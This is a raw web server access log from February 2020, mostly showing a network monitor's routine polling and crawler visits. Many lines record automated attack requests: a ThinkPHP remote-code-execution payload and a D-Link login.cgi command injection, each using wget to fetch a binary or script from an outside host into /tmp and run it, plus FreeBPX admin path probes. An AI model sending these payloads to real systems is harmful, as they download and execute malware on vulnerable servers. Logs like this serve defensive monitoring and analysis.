42.119.199.185 - - [02/Feb/2020:12:50:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.33.83 - - [02/Feb/2020:12:51:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.32.76.141 - - [02/Feb/2020:12:53:43 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
178.32.76.141 - - [02/Feb/2020:12:53:45 +0100] "GET ///html/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
178.32.76.141 - - [02/Feb/2020:12:53:45 +0100] "GET ///asterisk/admin/config.php HTTP/1.1" 404 330 "-" "python-requests/2.22.0"
178.32.76.141 - - [02/Feb/2020:12:53:46 +0100] "GET ///fpbx/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
212.91.246.72 - - [02/Feb/2020:12:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.41.115.22 - - [02/Feb/2020:12:54:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:12:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.58.245.64 - - [02/Feb/2020:12:55:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.81.155 - - [02/Feb/2020:12:58:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.254.46.75 - - [02/Feb/2020:13:00:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:13:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.221.218 - - [02/Feb/2020:13:02:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.80.240.151 - - [02/Feb/2020:13:02:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.36.118 - - [02/Feb/2020:13:02:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.1.88.60 - - [02/Feb/2020:13:02:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
146.158.38.35 - - [02/Feb/2020:13:03:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.14.104 - - [02/Feb/2020:13:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.116.123.41 - - [02/Feb/2020:13:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:13:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.235.180 - - [02/Feb/2020:13:04:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.149.160.10 - - [02/Feb/2020:13:05:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:13:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.64.173.68 - - [02/Feb/2020:13:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:13:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.4.92 - - [02/Feb/2020:13:09:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.69.186 - - [02/Feb/2020:13:09:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.149.65 - - [02/Feb/2020:13:09:56 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
183.80.249.38 - - [02/Feb/2020:13:09:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.169.171 - - [02/Feb/2020:13:10:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.34.27 - - [02/Feb/2020:13:11:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.92.169 - - [02/Feb/2020:13:13:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.61.133.240 - - [02/Feb/2020:13:14:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.26.234 - - [02/Feb/2020:13:14:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:13:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.85.66.156 - - [02/Feb/2020:13:20:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.39.89.51 - - [02/Feb/2020:13:20:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.86.4 - - [02/Feb/2020:13:21:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.153 - - [02/Feb/2020:13:22:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.227.221 - - [02/Feb/2020:13:23:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.90.80 - - [02/Feb/2020:13:27:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.193.52 - - [02/Feb/2020:13:28:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [02/Feb/2020:13:29:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
59.63.26.70 - - [02/Feb/2020:13:30:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.93.32.60 - - [02/Feb/2020:13:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5478.400 QQBrowser/10.1.1550.400"
212.91.246.72 - - [02/Feb/2020:13:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [02/Feb/2020:13:32:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.22.214.93 - - [02/Feb/2020:13:32:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:13:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.92.113 - - [02/Feb/2020:13:35:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:13:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.186 - - [02/Feb/2020:13:36:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.91.77.70 - - [02/Feb/2020:13:37:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.208.106.220 - - [02/Feb/2020:13:38:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.254.25 - - [02/Feb/2020:13:38:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [02/Feb/2020:13:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
181.208.106.220 - - [02/Feb/2020:13:38:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [02/Feb/2020:13:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:13:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.225.250 - - [02/Feb/2020:13:45:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:13:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [02/Feb/2020:13:47:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [02/Feb/2020:13:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [02/Feb/2020:13:54:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [02/Feb/2020:13:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.138.85.184 - - [02/Feb/2020:13:57:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:13:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:13:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.222.157.163 - - [02/Feb/2020:14:00:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.222.157.163 - - [02/Feb/2020:14:00:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
